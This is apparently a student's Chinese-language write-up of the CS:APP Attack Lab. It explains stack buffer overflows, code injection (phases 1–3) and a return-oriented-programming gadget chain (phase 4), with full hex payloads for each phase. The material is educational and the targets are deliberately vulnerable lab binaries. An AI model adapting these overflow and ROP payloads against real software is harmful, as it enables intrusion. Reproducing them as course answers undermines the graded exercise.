LI@NG

Buffer Overflow

以下为做csapp attack lab时的思路整理。

Buffer overflow 就是说输入的数据,超过了预先设定的长度,导致程序出现segmentation fault或者被攻击等一系列错误行为。

attack lab (phase 1-3)

这三个lab都是进行“code injection”攻击,所攻击的可执行程序没有过进行 Address space layout randomization (ASLR),同时stack上注入的数据是可以执行的。

(注:我拿到的lab,buffer size是0x28也就是40字节)

phase1:

该部分不用注入自己的代码,只是判断好缓存的大小,然后直接将ret的值改为touch1函数所在的内存地址即可。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

phase2:

因为touch2中接收一个参数,该参数与cookies进行比较,如果相等则成功,那么我们就要自定义我们的攻击代码,所以在调用touch2之前,我们应当将cookies的值放入%rdi寄存器上,所以我们可以写一个汇编语句:

mov $0xcookie, %rdi;
ret;

然后生成目标文件gcc -c phase2.s,然后使用objdump -d phase2.o进行查询反编译后的二进制表示方法,这样我们将该代码注入到我们的输入payload中,这时,phase1中的ret地址就应当指向该攻击代码的地址,然后我们代码继续overflow,将touch2的地址放在攻击代码上面,这样当我们调用touch2的时候,它接受的的参数,我们已经存到%rdi中了。

48 c7 c7 fa 97 b9 59 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 DC 61 55 00 00 00 00
ec 17 40 00 00 00 00 00

phase3:

这个和第二个不同之处在于它不是和一个常数比较,而是一个字符串,我们知道字符串就是一个char的数组,同时touch3接受的参数也是一个指针变量,所以,和phase2相比,我们需要将常数换成一个内存地址,那么这个字符串放在哪里呢?很显然肯定是放在我们的payload里面,那么放在哪里合适呢?因为我们肯定要把字符串首个字符的地址放到%rdi中,同时我们的攻击代码执行结束返回的时候,返回地址是被overflow掉的地址的上8个字节,所以我们的字符串的开始位置就放在了ret地址的上16个字节。

48 c7 c7 b0 dc 61 55 c3
00 00 00 00 00 00 00 00
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
78 DC 61 55 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

phase4:

这个phase和前三个的区别在于,目标执行文件开启了ASLR,同时不允许stack部分的代码有可执行权限,但还好没有启用stack canary,要完成这个挑战,我们需要在已有执行文件编码中寻找可以利用的“片段编码”进行“拼凑出”我们需要的操作,被拼凑出来的片段编码被称为gadgets。所以我们需要对目标执行文件进行反编译:objdump -d ./rtarget > rtarget.asm,然后再从代码区start_farmend_farm之间找到合适的编码构成我们的gadgets。然后利用输入将这些gadgets所在的内存地址写入到stack中,这个phase,我们是要重新通过touch2,我们需要的gadgets其实有两个要求:

  1. 我们需要拿到cookies的值,存到一定地方
  2. 我们需要将cookies值存到%rdi中 第一个要求中,pop就是很好地一个操作方式,因为pop命令会将在stack顶部的值重新存入对应的寄存器,比如pop %rax;,就会将stack顶部的值写入%rax中,这样之后,我们只需找到对应的mov %rax, %rdi;即可。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  /* buffers */
cc 19 40 00 00 00 00 00  /* gadget1, pop %rax, equal to put the value on top of stack to rax */
fa 97 b9 59 00 00 00 00  /* cookie */
a2 19 40 00 00 00 00 00  /* gadget2 mov %rax %rdi */
ec 17 40 00 00 00 00 00  /* touch2 address */

/* 90 means noop, no operation, just move the program counter +1  */